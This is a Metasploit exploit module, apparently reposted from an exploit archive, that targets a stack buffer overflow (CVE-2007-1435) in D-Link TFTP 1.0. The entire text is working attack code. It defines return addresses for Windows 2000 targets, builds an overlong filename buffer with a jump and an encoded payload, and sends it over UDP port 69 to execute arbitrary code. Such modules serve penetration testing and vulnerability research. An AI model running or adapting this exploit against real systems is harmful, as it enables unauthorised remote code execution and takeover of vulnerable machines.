D-Link TFTP 1.0 – ‘Filename’ Remote Buffer Overflow (Metasploit)
## # $Id: dlink_long_filename.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Udp def initialize(info = {}) super(update_info(info, 'Name' => 'D-Link TFTP 1.0 Long Filename Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in D-Link TFTP 1.0. By sending a request for an overly long file name, an attacker could overflow a buffer and execute arbitrary code. For best results, use bind payloads with nonx (No NX). }, 'Author' => [ 'LSO <lso[@]hushmail.com>', # Exploit module 'patrick', # Refs, stability, targets etc ], 'Version' => '$Revision: 9262 $', 'References' => [ [ 'CVE', '2007-1435' ], [ 'OSVDB', '33977' ], [ 'BID', '22923' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", 'Compat' => { 'ConnectionType' => '-reverse', }, }, 'SaveRegisters' => [ 'ecx', 'eax', 'esi' ], 'Platform' => 'win', 'Targets' => [ # Patrick tested OK 20090228 ['Windows 2000 SP4 English', { 'Ret' => 0x77e1ccf7 } ], # jmp ebx ['Windows 2000 SP3 English', { 'Ret' => 0x77f8361b } ], # jmp ebx ], 'Privileged' => false, 'DisclosureDate' => 'Mar 12 2007', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(69) ], self) end def exploit connect_udp print_status("Trying target #{target.name}...") juju = "\x00\x01" juju << Rex::Text.rand_text_alpha_upper(581) juju << Rex::Arch::X86.jmp_short(42) juju << Rex::Text.rand_text_alpha_upper(38) juju << [target.ret].pack('V') + payload.encoded udp_sock.put(juju) handler disconnect_udp end end |